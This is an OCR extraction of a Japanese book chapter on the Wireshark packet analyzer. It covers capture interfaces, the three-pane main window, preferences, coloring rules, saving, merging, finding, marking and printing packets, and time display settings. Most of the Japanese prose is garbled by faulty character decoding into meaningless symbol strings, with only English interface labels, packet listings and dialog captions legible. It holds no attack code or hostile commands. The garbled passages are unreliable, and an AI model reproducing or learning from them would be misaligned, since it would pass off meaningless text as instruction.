DEEDHEMEWET H72DDN—AF A Y PUELEOTT, 72& 213738 v M2 L CDHCP®
BERHRLIIETHEES SBALEELTVWALEDODHCP T 74 v 7 ED X HIZHNT
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DFN, HADA Y VT =27 OB E NS RE % Ao M3 7201203, EHRIREZ M- TBh R
NERLHVEVN)ZETT, AV MNT—IPIEFLEEIIR—ATL V2 RETH LT, EHEN
DT TAY I BED L HRIRE» IR TEE T,

T EREUE B TR O N—Y 3 Y 1.8.0TiE. DMG/Xy 7y — V%% »ya— N, HIZA Y 2 b—F ZilEH)
FTB2FTA VA=V TEEL720 ALOTNEIE, FFEERS R CTRIMNIZ > 72 Mac OS X Leopard JHD /8y o —
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ENTESSZLNNT Y MeFy T F v LTAHAELED |

1. Wireshark Zi#28) L £,

2. [Capture] A ==2— [Interfaces] #271) v 27 LEF, X7 v baFrTF ¥ TELNICHO—E
AVIPTRLAEEBIZF A Tay RIZFRENET,

3. R34 5F v 7 F ¥ LI2WNIC Z@EINT A2, HIZw o)Vl 4=V O [Interface List] £ 2
YaryOTICHLNICEZ Yy 7 L) AT, [Startl Ky %227) v 7 LEd, ThTHFy S
FrF I HFREINBET T

i Wireshark: Capture Interfaces Eﬁu‘
Description P Packets Packets/s Stop
E Intel(R) 82567LM Gigabit Network Connection 17216.0.8 41 2
] Microsoft 1721616128 0 0
% VMware Virtual Ethernet Adapter fefl:dl0b:c1d2:2925:1771 10 2
% WMware Virtual Ethernet Adapter fefl:cdd7:14c2:5225:671e 10 2

[3-4 /¥y hEFHTFvTBENICEERTS

4. BofoTHahry bedy 75 v T&725, [Capture] A =2—® [Stop] 227V v 7 L
i‘ﬁ—o

UEDFIMET/ry by 7 F X 2R T3 5L, WiresharkD A A Y74 YV RIIZTF = HRFRE

T EEEE BRI CTRATIR O N — Y 3 » 1.8.0 Tld, BENICOFFEF v 7F v 2 FEHT 5720, FEMHiHEE LT
WD LR &13A v 5 =T 2 A AR > TuET, HI34AMYDN—T 3 2 1.8.0 TOMAZEI-5 IR LET,

e e e i

-

I Description P Packets Packets/s (|
E| Intel(R) 825791 M Gigabit Network Connection feB0::4ce7:4437:6c0c:5435 0 0

2] Microsoft feB0::4dd7:bce6i55eb:iel?s 2721 5
] mtal feB0::3c61:44ch:f320:0467 O i 1

% WMware Virtual Ethernet Adapter fe80::a8b6:4ded:e0c0:776a 99 2
% VMware Virtual Ethernet Adapter feg0::002:b354:12ac:4b87 84 0

= = . i A

_ e o o == |52
s [ o )] Lo ]

H3-5 /My bheEX v TFvFBNICEEIRTS (1N—2321.8.0)

ZZTHRYTF Y LZONICOLEEHHF = v 7 Ky 7 2% @R (BERIRT) L, [Start] Ky > %2270 v 2795
CLTERNLAENIC EONT Y bOF ¥ 7F ¥ BHAESNE T T2 VI AXR=Ih S X v 7F ¥ 2479 BEid.
[Start] ¥ VO TFICHANIC—ELSF ¥ 7F ¥ 2TV WNICE 2 Y v 7 GEECRIRTT) LTHh 5, [Start] K
g Ry 7 LET,
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nNEJ, RKEOF—FZITEBEINLND LNTERFAD, WiresharkD A A 7 4 Y Ky OKfEx O &
OFOHEL T, TR S LR ET,

3.4.2 WiresharkDXALVD 12V RD

PNy MENTHIC—F LSRN, ZOXL T4 Y FITLE), SR F Y 7F ¥ ENLT
RTONNT b5, BADR TV TEREINTVET, BIEFY T F ¥ L7y M fiio T,
X3-6 DX 7% Wiresharkd A4 74 VKo ERTWEFTLEI),

[l 1otsofweb.peap - Wireshark [E=E=
File Edit View Go Capture Analyze Statistics Telephony Tools Help

BEWARME CEXREE AeswT s (@ QQAD @B D% 8

Filter: + Expression.. Clear Apply
No. Time Source Destination Protocol  Info -
19 1.773112 172.16.16.128 205.203.140. 65 Tce 2905 > B0 [ACK] 5eq-639660464 ACK-1625218514 Win-16560 Len- |
20 1.774533 205.203.140.865 172.16.16.128 TP [TcP segment of a reassembled PDU]
21 1.774564 205.203.140.65 172.16.16.128 TP [TcP segment of a reassembled PDU]
22 1.774595 172.16.16.128 205.203.140. 65 Tce 2905 > 80 [ACK] 5eq=639660464 Ack=1625219974 Win-16560 Len—
23 1.776427 205.203.140.865 172.16.16.128 Tcp [TcP segment of a reassembled PDU]
24 1.776997 205.203.140.865 172.16.16.128 T [TcP segment of a reassembled PDU]
25 1.777000 205.203.140.65 172.16.16.128 HTTP HTTP/1.1 200 ok (text/html)
26 1.777047 172.16.16.128 205.203.140. 65 Tce 2905 > 80 [ACK] 5eq=639660464 Ack=1625221991 Win-16560 Len—
27 1.807280 172.16.16.128 172.16.16.255 NBNS  Name query NB ISATAP<00>
28 2.557340 172.16.16.128 172.16.16. 255 NBNS  Name query NB ISATAP<00>
29 3.009402 172.16.16.128 Elo 2 il DNS standard query PTR 128.16.16.172.in-addr.arpa
30 3.0508! . o o~ ZoZoil 172.16.16.128 NS standard query response, No such name
31 3.1808 [Packet LISt] NAY 2.16.16.128 157.166. 226. 25 TCP 2918 > 80 [SYN] 5eq-2094805014 Win-8192 Len—0 MS5—1460 Ws=2
32 3.2416 US4y b—E 7.166.226.25 172.16.16.128 Tce 80 > 2018 [SYN, ACK] Seq=1516154519 Ack=2094805015 Win=5840
33 3. = 157.166. 226. 25 Tce 2018 > 80 [ACK] 5eq=2094805015 Ack=1516154520 Win=4218 Len—
& 28i 80 [ 9 Ack=4041447217 Win=0 LelRd

o m

Frame 1: 92 bytes on wire (736 bits), 92 bytes captured (736 bits)

Ethernet II, src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), pst: Ff:ff:ff:ff:ff:ff (FF:ff:Ff:Ff:FF:FF)
Internet B R o 4~ ,[2.16.16.128), Dst: 172.16.16.255 (172.16.16.255)

user patad [Packet Details] A >/ |73, vst pore: 137 (137

s () vy bR
B
0000 ff ff ff ff ff ff 00 21 6a 5b 7d 4a 08 00 45 00

0010 00 4e Oc 90 00 00 80 11 b4 &6f ac 10 10 80 ac 10
0020 10 ff 00 89 00 89 00 3a bc 49 81 Ob 01 10 00 01

T j[33.-E.
[

E JFDEBFEE

0030 00 00 00 00 00 00 20 45 4a 46 44 45 42 46 45 45 .
0040 42 46 41 43 41 43 41 43 341 43 41 43 BFACACAC ACACACAC
0050 41 43 4142 41 41 41 0n ACACAAA, ..
[Packet Bytes] X1 >
O‘ File: "C:\Users\csanders\Decuments\Writing... | Packets: 12899 Displayed: 12899 Marked: 0 Time: 00:00:00 382 Profile: Default

[3-6 31K DXA1LT1 2K

AL YT 4 YR DIDDNRAL Y OFRIEHENTERE LT FEF, [Packet List] ~A4 » (L) T
Ny N s ) w7 LTI B 2 LT, [Packet Details] XA ¥ (FFE) 122 D787 v b O FEMA
FRENT T, 287 v MBIREIC [Packet Details] R4 Y T v vORIGE 2 )y 7§5 &,
[Packet Bytes] <A ¥ (FE) THELBHITHINT 5354 Ml xERTEE T,

K3-6Cld. [Packet List] XA~ [CW<DHDTOMIDVHERTRENTVD I EHDH
DFRT, fcfeL, FORVOBERBDEVWVZRICETHEMN T O LIETEF B, TN
TOINTY P Ry RO —=ID BRIFTH cFKICKRRSINE T,

UTIC, &AL ol R LTS,
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46 |8$ Wireshark #1 2

[Packet List] (/X4 v FD—E) X1 >
FBEONL AZE Fv T F T A NMHAET 578 v FO—EH, 2y Mg, STy
IASFx T F v SNIMRIZL N7 v FOEEILE G, STy ho TR, Ny b
DOBFEL L HIZFIRENE T,

RKERTDRI T4 v EWVNWDEEF. [Packet List] RAVICRRINTWVDIXRT
DINTw RO EREB TSV, EERXEFDNS ST r w o EEofe&E(TE.
[Packet List] XA VI[CRRSNTVDIRTDODNS 7O RILDITy DT ETT,

[Packet Details] (/v FDFEM) N1 >
HEDRA A2, 087 v POFEHIAREEMEE CRRINT T, ZORREIERIID
el ENTOETA, BHTL2ZETHEOr v MCHT2TRTCOMEHE RS 2225 T
EF T

[Packet Bytes] (/N4 v FD/NA hRIR) N1 >
TEORL VICE, BIEENDHOED v MPFRENTVET L0 —FEWAHT
Li9do SNUE AV NT—=FRITERT L8 v FOAERTHY. TOF F TN HIE
TWICHEET Y.

3.4.3 Wireshark D& EEmH

Wireshark IZW IR UTEEFSFE LAY A XD FETT o Wireshark D@ Wi, X A ~
74 o [Edit] # =2—7%5 [Preferences] #7) v 732 L FRENFE T, [Preferences] ¥
AT7RZE ARYAL XA TV a v BEEh gy (B3-7).

Wireshark ® [Preferences] ¥4 7023, 620 %%ty ¥a iiphrhTnid’,

[User Interface] €7 > a>
Wireshark 7 — % FR FEEZRETET T, T2 TIX, 74 Y ROz itEd 208
I NA Y DLAT M, A7 U= VN—OfLiE, [Packet List] X4 Y DHFLDOLAT
T F=FEERTLEDT+ VM, T4 YRS DF Ty a VDITFAIZIE
UCTEETEET,

[Capture] 7> a>
F7FIWVEDONIC, 7HIAF ¥ AE—F&277 4 b TR %20, [Packet List] <A ~
BYTNVEALDIEHTEhE Vo7, N7y MY T F Il A TV a v ERETERE
T

T BERRTE ¢ B ARG R CIei it/ N — 2 3 2 1.8.0 Tl [Filter Expressions] £ 7 ¥ a Y25 &, 721 %>TwE
D

S
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3.4 Wireshark@%ﬁil 47

|l Wireshark: Preferences - Profile: Default E‘E‘Q
O

Layout Packet list selection mode: | Selects lz‘

Columns Protocel tree selection mode: | Selects lz‘

Font

Colors Save window position: [

Capture Save window size:
Printin

. Save maximized state:
Name Resolution

Statistics Open a console window | Never |z|
Ristoccl "File Open" dialog behavior: @ Remember last directory ) Ahways start in:
Directory: | C:\Users\csanders\Documents

"File Open" preview timeout: |3

Filter display max. list entries: |10

"Open Recent” max. list entries: |10

Ask for unsaved capture files:

Wrap to end/beginning of file during a find:
Settings dialogs show a save button: [
Welcome screen shows version: [

o) Caen ) [

& J

X3-7 [Preferences] #4704 TWireshark & h X271 XT&3

[Printing] 73>
Wireshark T7F— % ZFIRIT A0S FEE RS 7 a v kg TaEd,

[Name Resolution] €7 3>
Wireshark 2542 (MAC7 FL A, F5 Y AR—Mim&D) 7L A% bh )R WA
RS 2R R AT 202 B CTE T, T2, FRCET WA BRI 7 T A
MORKEDRETEET,

[Statistics] £V > 3>
Wireshark OfEEIHEGEIC T2 4 72 a v sk CT& E 9,

[Protocols] 7> 3>
Wireshark TIENT2STREL S FSE LTy FOF ¥ T F v RFRICHHEST A2+ T a v %
RETEET, TUFINVOTRTRCHEEF TV a v B rbIITEDYEFRA, INHOF
Tyasid MOSPORHALVIRYER L 2WEINEINTLE).

3.44 Ny boaslr

PH O SADVREMFETHIUEL R EHRE NV EBAVERLATNS EBVET,
Z5%5E, H3-8DBIDLH %, thr ) EYD [Packet List] <A ¥ I TIEARVTL L S A (K
FE/ 70T BRIEDPDETIN). SRSOEITELICHOSNTVS LHIZH AT TN

S




48 |8$ Wireshark #122

ZHITEDHYEEA,

No. Time Source Destination Protocol  Info -
28 2.557340 172.16.16.128 172.16.16. 255 NBNS Name query NB ISATAP<00> 5
29 3.009402 172.16.16.128 4.2.2.1 DNS standard query PTR 128.16.16.172.in-addr.arpa
30 3.050866 o o220t 172.16.16.128 DNS standard query response, No such name
31 3.180870 172.16.16.128 157.166.226.25 TCP 2918 > 80 [SYN] Seq=2094805014 Win=8192 Len=0 M55=1460 W5=2
32 3.241650 157.166.226.25 172.16.16.128 TP 80 > 2918 [SYN, ACK] s5eq=1516154519 Ack=2094805015 win=5840
33 3.241744 172.16.16.128 157.166.226.25 TCP 2918 > 80 [ACK] 5eq=2094805015 Ack=1516154520 Win=4218 Len=
3 3 EH 28 ] TCP 2867

242063 1 28 209 25.118 TCP 2866 > 80 ACK] S n=0 Lejd

3-8 WiresharkiZk-> T, ZARINTEIZRRTLERIFIN TN

Fr y FOBIEERDHY, TH IV E > TRSFENTVET, 728 2IE. DNSFF 74 v
73, HTTP F 7 7 4 v 713k L wo 72 BT, il SN Tw2 55T, [Packet List] <A
VIZFIRENTWB K37 v b [Protocol] DIz 121 9fR L% TH, 7 bavzHRL A5
FBZENTEET EREF Yy 7F X 774 VRS L &I, ZOHOGTFOFERED BT TR A
KIFICAE—=FT v 7§52 L% FEETELTLED,

B F oI —vid, K3-9® [Coloring Rules] ¥4 70 7 CiHICHERTEE T, Z0F¥f7ur
ZRICIE, A=a—256 [View] Z#EH L. [Coloring Rules] 27V v 7 L%,

‘Wireshark: Coloring Rules - Profile: Default EIM
Edit: Filter Order.
List is processed in erder until match is found
Name String
Edit... Up
Enable
Disable
Move
Delete selected filter
up or down
Y e SMEB smb || nbss || nbns || nbipx || ipxsap || netbios
HTTP http || tep.port == 80
IPX i
(k2
DCERPC deerpc
Routing hsrp || eigrp || ospf || bgp [| edp || vrrp || gvrp || igmp || ismp
TCP tep Down
uop udp
Broadcast eth[0] &1
< 1 +
o] oo [
J

X3-9 [Coloring Rules] &4 7AJ T, /N7y MDBRHIV—IVEETET S

CIZT HOOBEBPF NV —VEEHRLEZY, BAEOLDOELEELZVTLIENTET T, 28 213
HTTP 5 74 v 7 DERBET 74NV EDONS TN T —ICEZ L FIHIUTOEBY T,
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3.4 Wireshark@%ﬁil 49

1. Wireshark ##8) L. [Coloring Rules] ¥4 71 % #/Rx L 3 ([View] — [Coloring Rules]
22N

2. IV —= L O—ERSHTTPOMFI V= VE 2 ) v 7 LGRIRL T3,
3. [Edit] K% > %27 ) v 27 LT, K3-100 &9 7% [Edit Color Filter] ¥4 70 72 FoRsh F

I

(ﬁ Wireshark: Edit Color Filter - Profile: Default E@Q‘
Filter
Name:
String: | http || tcp.port == 80
Display Colors Status

Foreground Color...] [Background Color...] [7] Disabled
’ 0K ] ’ Cancel ]
o J

K3-10 [Edit Coloring Filter] 44 707 T, XF®BEBERBERETED

4. [Background Color] K% > %27 V) v 7 L%,

5. IR CTIFADOEEZFEINL, [OK] K¥ &2 7) v 7 LET,

6. [OK] R& v %2l LCRENEZ ML, A4 Y4 Y FIRE) 3, e Lz hs s
ENTVBLIETTY,

Wireshark #ffioC\wb &, A7 RIVFIELDOTOIININL N LIZRDOLTLEY.
BFENRTVBEZETENDDDRNR T RoTWET, 728 ZIZDHCPH — N ICEEISEZYIP T
FLZADOEY) B TH ) FLOD L G724 DHCP 7R Fa vz EAIZ (B0 obhh 3
WLZ) 53019 5720 T DHCP M 7 4 v 7 2 [l HICHT 2 2 EATE, 287 v MENT A% 31L
LET,

MEDOHAY BT ANT TSI LT, V=V aRTA22EHTEETT,
Wireshark # 28 L. FEATL72& T AT, 237 v MENT O#EMIENE Lz, KETIIFY I F v
L7y bl 77 =y 71200 THL 3,
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| 51
45

Wireshark T®D
NTY MY ITFDTIZ=YD

Hi# T Wireshark ® f UNEFAAN L7z T, FEBISr vy baFx7F v L, L CAELE I,
RIETIEF Y TF v 774V, 37 v POBLE, BRI OZRERIZOWTOT 7 =y 7 2/ LET,
Ty bOF Y T F TS, KVEELRFT T a v eSO LT, 74NV OMBITRUGAA
TWEF L),

41 FvyIFvI7LIVDRE

Ny MENT 2T THhD E, EHAL LERITIE. Fv 7 F X RIATILERH L LIZHADOL E
BuwEd, @i, X7y bl xFx 7F X LTREL TS, To e~/ LTHIrss2 L
W20 FET, 20720, WiresharklZiZF v 7 F v Lo v b ed vy T Fv 774 Ve LTEREE L.
HETHNTAHILEWREL TERENT VT ET, HHOF Y T F Y774 Ve —TF5H2 L
bTEET,

411 FvIFrI7AIDREEIIRAR—b

FyTFy LTy bVERAET HIC1E. A=2—05 [File] — [Save As] @R L T, $5&
R 4-1D X 9512 [Save File As] 4 7R 7 PFERENFE T, ST TRy 7 F ¥ L7237 v bORATEY;
Fre7 7 AVERZRIRLET. 774 VERZIE LRVEEE. peap BRTHRIEShETT,

T EEEIE BRI TR D /S — ¥ 3 >~ 1.8.0 Tld, .pcapng BN TIRAF S NE T,

S




52 | 4% WiresharkTO/ Ty hF 2 TF v DT I w2

TRIETBIBFID: || chos - @@ @
I B & SsEE = o
o arp_gratuitous.pcap 2008/07/13 9:34 Wireshark
| BORFURER arp_resolut\on.pcap 2007/05/11 11:32 Wireshark
! Q dhecp_inlease_renewal.pcap 2011/01/10 12:05 Wireshark
=2 by T dhecp_nolease_renewal.pcap 2009/07/13 9:34 Wireshark
@ dns_axfr.pcap 2010/01/31 18:16 Wireshark
E [% dns_query_response.pcap 2009/07/13 9:34 Wireshark
5;‘,":!-5 y dns_recursivequery_client.pcap 2010/01/25 12:41 Wireshark
@ dns_recursivequery_server.pcap 2010/01/25 12:37 Wireshark
m&f [% http_google.peap 2010/02/08 21:57 Wireshark
js/t-;_.g_ http_post.pcap 2010/02/08 22:33 Wireshark
Q icmp_echo.pcap 2009/07/13 9:35 Wireshark
icmp_traceroute.pcap 2009/07/13 9:35 Wireshark
Fw RI—4 [% ip_frag_source.pcap 2010/01/05 13:14 Wireshark .
< 7] | 3
ZrA LR - #IFE)
Zr WREER(T) HfiresharkAcpdumpy”, - Tibpean (% poap* poap ez 5 v] [ Azl ]
e

H4-1 [Save File As] #17AI»SF+ TF+ T 71 IV ERTE (/IN—321.8.0)

[Save File As] %4 70 721, 82 L72#PHO/ 7 v NOARERIFET S LW B B 23 )
T3, T BRER S FE Y TF XY T 74 NVOF A XE/AELFBDOIIERIEHNTT . b H

T BERHUE B TREI DN — Y 2 1.8.0 Tid. ZDOFEREIZ [Save As] Tid 7 < [Export Specified Packets]
LW BID A =2 —12% > TWET, [Export Specified Packets] ¥4 71027 #R4-2 128 LE T,

RETBIBMD: | chis - @ o
@ E5) = EFAE = -
&) arp_gratuitous.pcap 2009/07/13 9:34 Wireshark
I =
| arp_resolution.pcap 2007/05/11 11:32 Wireshark
!I @ dhcp_inlease_renewal.pcap 2011/01/10 12:05 Wireshark
by T dhcp_ﬂolease_renewal.pcﬂp 2009/07/13 9:34 Wireshark
dns_axfr.pcap 2010/01/31 18:16 Wireshark
- [% dns_query_response.pcap 2009/07/13 2:34 Wireshark
dns_recursivequery_client.pcap 2010/01/25 12:41 Wireshark
@ dns_recursivequery_server.pcap 2010/01/25 12:37 Wireshark
@' ™ http_qgoogle.pcap 2010/02/08 21:57 Wireshark =
— < 1] | v
TlEm=5=
TreA B caplure 1 - {3725
TP IWDREEE(T:  [Wireshark/tcpdumps. - libpcap (tpeapt peapszke | [ Falitill ]
Fw bI—4& AJLFH)

Packet Range
(@ Gaptured () Displayed

(@) Ml packe ts 1412 22
() Selented packet 1
Marked packets o
First ta last marked o o

(7) Range [ o
o

o

[ |Remawe lenored packats

K4-2 [Export Specified Packets] #470% (/x—5>1.8.0)




——

41 FIFEIPAILORIE | 53

PR/ NSOy b, x=F 7 ENTT v b, FARAT LA TANVFICE o THERRENT:
Ny b (R=F V7 LTANFITOVTEIARBETOBIIEHMLFET) 2L, JFED/T v hOAE
BT LN TEET,

Wireshark Tid. WO FETEI L0, BIOSTr » MENTY —WIZA Y R—= L7720 T 572012,
TEAM RAMAZ YT, CSV. XMLE Vo 2R THRY T F ¥ T —F 2 L7 AKR—1552 L8
TEFTT, 2/ AKR— 1 F5I121F, A=2—%5 [File] — [Export] Z#IRL, =7 2AK—1+§577
AND7 74 VIERZBEIRL TLEE W, [Save As] 2S5 -ETHEXICH, [7 74 VOREEHE] 55
PRI EBINT 222 TEFET,

41.2 F¥IFvI7INLDI—Y

Ny MENIZLTWwDE, BHEOX YT F vy 77 ANV =V LK RbZ2ERHNFET, UL,
2ODFT—FAN) —AZWELY, JIAICF Y TF Y LM EE T 740 7 DAY — A2 fAfG
bELNVTHEEREIL, XAThRET,

FrxTFATTANER =TT DL, =TV L Fy T Fy I ANVERHE A= 2—05
[File] — [Merge] % #3R L C. [Merge with capture file] ¥4 7027 Z& ¥ (K4-3), $TI
WTWE 77 A MY =T L7207 7 A VERIRL TS, v— YV HEEZRRLET, ~— I HE
IZ1Z. [Prepend packets to existing file] (BAEF/REN T35 v FORFIII =TV T5F ¥ 7 F ¥

TPANGARRRTE || chos - @& HE-
- 2 . e s |
'ff} [% arp_gratuitous.pcap 2000/07/13 9:34 Wireshark
| BORFUER arp_resolution.pcap 2007/05/11 11:32 Wireshark
-j Q dhecp_inlease_renewal.pcap 2011/01/10 12:05 Wireshark
by T dhep_nolease_renewal.pcap 2009/07/13 9:34 Wireshark
@ dns_axfr.pcap 2010/01/31 18:16 Wireshark
_— [% dns_query_response.pcap 2009/07/13 9:34 Wireshark
5;35 y dns_recursivequery_client.pcap 2010/01/25 12:41 Wireshark
@ dns_recursivequery_server.pcap 2010/01/25 12:37 Wireshark
m&l‘ [% http_google.peap 2010/02/08 21:57 Wireshark
[ Y http_post.pcap 2010/02/08 22:33 Wireshark
Q icmp_echo.pcap 2009/07/13 9:35 Wireshark -
j | . | 3
Ty b= Zrf LN http_postpcap h (2]
FrAIWAEEAT: (Al Files (x2) -] FeiAl
Dighvater | Filensme:  httppostposp
Formst: Wireshark/tcpdump/ ..~ libpoap
(@ Prepend packets to existing file S 12363 bytes
) Merge packets chronologically Packets: 21
©) pppend packets o existing fie First Packet: 201 0-02-09 11:32:53
Elapsed: 00:00:04

X 4-3 [Merge with capture file] ¥4 7AJ 2207 7 (I E~x—TF 3

T B BRI TR D N — 2 3~ 1.8.0 Tl ZORRRIZHIBR S TwEd,

S
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54 4E  Wireshartk COI\T Y b TFvDT I v

774 NDry b2 %), [Append packets to existing file] (HAEFRENTVLE37 v+ D
HLIIX—=VTEF XY TF X T 7 ANOry M2 BINT %), [Merge packet chronologically] (%
A LAY TR THRERFNSBINT %) O3o0H) T3,

4.2 I\rv NOEE

Ry MENT R IRD L L, WRGEBRDONRry FEMIET A IR ET, Bh. BE AL 7y
FOBERBN LR ->TL A E, XIEEMHRMITTI L a2V EFIBLENRLRLTLEL) . 2DORD
Wireshark Tl FFEDON — NIy F 3537 v bEHB LT —F 0 7 TH2ENTEL LN
HoTWET, FRRITLTH:2018 vy b2HRIT 22 TEXET,

4.21 I\rv bORFE

BEDI— Iy F 353y bR T 5121E, B4-40 X512, Ctrl + FF—%4 L T [Find
Packet] ¥4 7u 7% & 3,

™
[l Wireshark: Find Packet [E=SRIER
~Find
By: @ Display filter (©) Hexvalue () String
|
rSearch In String Options———— Direction—
Packet list Case sensitive @ Up
Packet details || Character set: @ Down
@ Packet bytes ASCI Unicode & Mon-Unicode
[

R 4-4 Wireshark THEEDIL—IUZT v F§ 3/ NeteRT 3

Ny NOWMBRIZIE3ODOF T a v iZHhET,

e [Display filter] 7Y a ¥ Tid, FHRXR—2D T4 V¥ % AT1TH LT, KT~y F
L7287y bOARERFEL T,

o [Hex value] =7 a3 T3, 165 (N b2 av ry TRY-7ERX) THRESNA2 87 v b
EMBELET,

e [String] 7Y a v Tk, WFHITRE SN/ v M LT,

FA1ZNZROMERLET,




42 )ty hoRE | 55

=4-1 17y MEROF]

BREDZ(T | i

Display filter not ip

ip address==192.168.0.2
arp

Hex value 00:ff

ff:ff
00:AB:B1:f0
String Workstationl
UserB

domain

ZOENPIH T ar e LT, RENRORS Yo%, T 5 XTI —FofkE. RETno
EDVWEETT o FEFIRRIZOWTIE, MBI L %22, Y OffE, HT5 53— Fof
TR R KT B0 8D HhOIREDTRETT .
F7variEEEL, TEAMNRY 7 AITRBEOEMHEKE AN LT, [Findl K %2007 $5
&L RSB y F LI v M FREN T T RIEHIZ AT HHEI1ECrl + NF — %,
Wil 2 MR T B A I Ctrl + BE — 2 L T2 &0,

2
X
P
JE

422 Ny bbDI—F200

S~y FTH87y PR LS, v —F v 7L TBLZENTEE T v —F 7Ly
FETZREINRFE L TBE20EER, 200 ThEROMRICEDITONL L HICLTBE
WIEAEREI, I—=F Y MR TT, v—F SNy M R4-50 &9 ICBIICHXT
ERDVHNDEIIZRNFET (Fx T F XY ENTNTry M2 T 7 ANMIRET AL X2, ~—F 7L
7Ty NORERIFET BT E B HHRETT ),

2Ry b —F 73 5121%, [Packet List] R4 Y T7 v b2 fh 7Yy 7 L, FIRENizA
—a2—75 [Mark Packet] ZBATLZE W, Xy 27y 7 LTHhSCtrl+ MF—2iifig 2 &
THY—F 7 TEET, v —F VMBI 210, Crl + MF—%2d ) —FE#MLFEFT, X7t
B ER7ZFY—F 0 7T ENRETT . BHEO/ 7y b~ —F 0 7 L7284, Shift + Ctrl +
NF—F 7203 Shift + Ctrl + BCY—F Vv 7SNy MR VY Y 75520 TEET,

40 Len=0 Ms55=1460 Ws=7

ACK] 5

[4-5 w—=F>T3NNry MINATA R RIRE WD, COFITIE1FEBD/INTy MY —F2J3h, BLEIC
HoTW3

4.2.3 I\v FOEIRY
2y MEFHZENG ETIT) 2B WTL 2 )25 FHICIAR T 2L E Sl H 505 LA,
LI Ty FEFIRILTHLO LIi>TBE, WO 2T-oTCnb L ETLZONEZ TS

T BARE - BARRRCTHI R AN LA, UTF-8 TR GL S A Mk shEd,

S
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56 | 48  Wireshark CD)\ Ty b+ TFvDT I

WTE2LIICLTVET, FICHmEEZERT 28642 L, /37 v & PDFIEA THIRI T & 2 ik
I AR T,

XX T F v L7228y MR 5121, A =2—7%5 [File] — [Print] 23R L TL7Z S, K
4-6D X9 7% [Print] ¥4 707 HPFRINT T,

[l Wireshark: Print [E=RTER™
rPri
) PostScript
|| Output te file: wireshark.out Browse...
rPacket Rang ~Packet Format:
Displayed Packet summary line
@ All packets 62 62 Packet details:
) Selected packet only 1 1 © All collapsed
Marked packets only 0 0 ) etErl
From first to last marked packet 0 0
. () All expanded
() Specify a packet range: 0 0
|| Packet bytes
Remove Ignored packets 0 0 [T] Each packet on a new page
it (e
L J

®4-6 [Printl #4705 55/ 5 MOFIRINTES

[Print] ¥4 70775, @R LT =827 FAMELIRANZAZ YT RE LTHRIT A, 77
ANELTHITAHZENTEF Y, [Save File As] ¥4 7027 LR UL, HAHFHHD S v b
FERFONTY M R=F VT ENT Y M TARAT VLA TANVTIZE S TEREINI v Mg
EVEDONRTy POARRERIT AL TEFE T, 72, 320D, YD) BEFEIRLIZARS Y OR%E
Fil3 22 LdbTEET, A7 a v &@LU [Print] K %27 v 7 LTLZE W,

4.3 BZRDORTHENEBERFART

2Ry METICBWC, R EELEFE T, Ay M7 — 7 THAEL TW 2 FHLIINR O FHEK
EIFRENT, T OBICIE, BT RTOF Yy TF ¥ 7 74 VCTHREZI O A v 8T — 7 ORIE
BRNRLZEDVBLEICRDLTL L), Wireshark Tid, B OBREWNZETZ, Wo2»hDF T3
UREINTVE T, 22T KRHIOFRBR L BERRZREZ R TVWEE L),

4.3.1 BRADRTHER
Wireshark Tld, ¥ 7F ¥ L2887 v MY AT AR ZH LI L7294 LAY V75 &
NF 3, Wireshark 337 v b0SF v 7F ¥ SN 2 R IA 2 FR$T 52 &b, HATO/S

S
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4.3 FAIDORTEI CEERART 57

oy b ORISR F v 7 F X BGREZ A 5 OMM R CRRT LI HTEET,

R OFERICET LA TV avid, A4 v A=2—0 [View] 128 % [Time Display Format] %
fioTELET (R4-7), 22Tl WHOFERERX DI, WA DFITRIFEEITOWT S H#IRHTT
HETT o NHOREIZOWTIE, HEFZEDAS, B 3V x4 7 a2 FETHETE
To KREBOVUBEDOETIZZOF T a v EERLTWAEHOHLDT, 509 BIZENLTEWTL
723y,

" -
i test.pcap - Wireshark p— -—
File Edit Go Capture Analyze Statistics Telephon! Tools Help
B i @ v MeinTooba 973 [EE QRQQR #DMx%| 8
) v Filter Tooclbar - -
Filter: e s Tt | ~ Expression.. Clear Apply
No. Ti v Statusbar ce Drestination Protocol  Info
10 .16.0.8 157.166.224.25 TCP 3426 = &
2 0| v Packet List .166.224. 25 172.16.0.8 TCP 80 > 342
FE R .16.0.8 198.78.206.126 Tcp 3427 > 8
4 0 i .16.0.8 198.78.206.126 TCP 3428 = &
5| ¥ s .16.0.8 198.78.206.126 TP 3429 > 8
? g Date and Time of Day: 1970-01-01 01:02:03.123456 Ctrl+Alt+1 i g
g g  MNameResolution ’ Time of Day: 01:02:03.123456 Ctil+Alt+2 |- g
9 g + Colorize Packet List Seconds Since Epoch (1970-01-01): 1234567890.123456 Ctri+Alt+3 | 342
ig g Auto Scroll in Live Capture * Seconds Since Beginning of Capture: 123.123456 Ctrl+Alt+4 g:s
12 0| @ ZoomIn Tiee Seconds Since Previous Captured Packet: 1123456 Ctri+Alt+5 | 343
13 0 3 Zoom Out Ctrl+- Seconds Since Previous Displayed Packet: 1123456 Ctri+Alt+6 | 343
14 i 343
@ Normal Size Ctr+= | » Automatic (File Format Precision) I> 4
16 3| [F Resize All Columns Shift+Ctrl+R Seconds: 0 > 8
S Shift+Right Deciseconds: 0.1 =as
18 3 P i 19 e i 343
10 2 Expand All Ctrl+Right entiseconds: 0, ~ a2
] e
Collapse All Ctrl+Left Milliseconds: 0123
Frame 5 i
Etherr Colorize Conversation > Microseconds: 0123456 7184
Interr Reset Coloring 1-10 Ctrl+Space Nanoseconds: 0123456783
Transn M Coloring Rules... , DSt Port: , 5eq: , Len: O
Show Packet in Mew Window
2 Reload Ctrl+R

4-7 SESELEYORTH N

4.3.2 BERART

Wireshark Tid. & 5787 v b2SF v 7'F v ST HF 150 S ORIR 9 722 WE 8 % FR% 3 % FEHEREH) 3R
7k (Packet Time Reference) DR ENTEX T, ZOWKFEIX, v 7F ¥ ORIEI DA D L 29T
Pl S Fz— DA RV MEFIRD & & ISRER T,

B8y NS ORI R %] % £FR T 5121E, [Packet List] X4 ¥ »53E# L Lizwvwsr v b
ZEINL, A=2—75 [Edit] = [Set Time Reference] # @R L 9, FREILDLHITIE, 77y
M2 #IR L., [Edit] — [Set Time Reference] # HE#ERL E T, ZDF T T a VIZM Mk oTw
7,

S




58 | 4% WiresharkTO/ Ty hF 4 TF v DT I w2

COFRRERIT) & KL 5723 v O [Packet List] _4 Y1283 % [Time] 71 J &1,
4-8D X HIZ*REF* LR ENE T,

ORI BHOFRER % F v 7F v GRS S OHA LIS L TR E ERY S ) F
